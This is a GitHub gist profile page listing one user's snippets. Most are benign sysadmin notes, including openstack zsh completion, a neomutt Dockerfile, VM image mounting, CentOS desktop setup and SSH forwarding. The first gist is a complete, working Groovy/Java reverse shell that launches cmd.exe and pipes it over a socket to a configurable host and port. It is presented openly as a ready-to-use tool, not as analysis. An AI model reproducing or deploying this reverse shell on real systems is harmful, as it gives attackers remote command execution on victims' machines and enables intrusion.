Skip to content

Instantly share code, notes, and snippets.

Avatar
🌄
Hanging around

Baptiste Grenier gwarf

🌄
Hanging around
View GitHub Profile
@gwarf
gwarf / revsh.groovy
Created Apr 28, 2021 — forked from frohoff/revsh.groovy
Pure Groovy/Java Reverse Shell
View revsh.groovy
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
View _openstack
#compdef openstack aodh barbican ceilometer cinder cloudkitty designate glance gnocchi heat ironic keystone magnum manila mistral monasca murano neutr
# https://wiki.openstack.org/wiki/OpenStackClients
# http://docs.openstack.org/user-guide/common/cli-install-openstack-command-line-clients.html
local curcontext="$curcontext" state line expl ret=1
local -a clnts_compl_new clnts_compl_old clnts_swift_like
#
@gwarf
gwarf / neovim_python.md
Last active Mar 13, 2021
Neovim and python
View neovim_python.md
@gwarf
gwarf / Dockerfile
Created Sep 5, 2019 — forked from yankcrime/Dockerfile
Dockerfile for neomutt
View Dockerfile
# Dockerfile for NeoMutt plus 'essentials'
# Largely inspired by Jess Frazelle (@jessfraz)
#
FROM alpine:3.6
RUN apk --no-cache add \
ca-certificates
ENV HOME /home/user
RUN adduser -u 1000 -D user \
@gwarf
gwarf / GPG_Kungfu.md
Last active Jan 21, 2020
GPG Kunk-fu
View GPG_Kungfu.md
@gwarf
gwarf / TLS_Checking.md
Last active Jul 17, 2020
Checking TLS/SSL/certificate configuration
View TLS_Checking.md
@gwarf
gwarf / README.rst
Last active Apr 3, 2019
reStructuredText tests
@gwarf
gwarf / VM_image_mount.md
Last active Mar 14, 2019
Mount a VM image
View VM_image_mount.md

Mount a VM image

raw image disk

losetup /dev/loop0 image.img
# or
losetup -f file.raw
# if /dev/loop0p1 does not exist
kpartx -a /dev/loop0
@gwarf
gwarf / CentOS 7 with Desktop
Last active Mar 14, 2019
Setup a CentOS 7 VM with desktop
View CentOS 7 with Desktop
# CentOS 6 with Gnome desktop
```console
sudo yum groupinstall -y "GNOME Desktop"
sudo systemctl set-default graphical.target
```
When running in VirtualBox, if not able to see mouse cursor:
Launch VirtualBox --> Oracle VM VirtualBox Manager --> Select VM --> Settings --> Display --> Graphics Controller --> VBoxSVGA
@gwarf
gwarf / MacOSX_ssh_forwarding.md
Last active Mar 14, 2019
Using ssh forwarding (Agent and X11) on MacOS X
View MacOSX_ssh_forwarding.md

SSH Forwarding on MacOS X

Forwarding SSH agent

Configure ~/.ssh/config

# Allow Agent forwarding for a specific host (by security)
Host remotehost
  ForwardAgent yes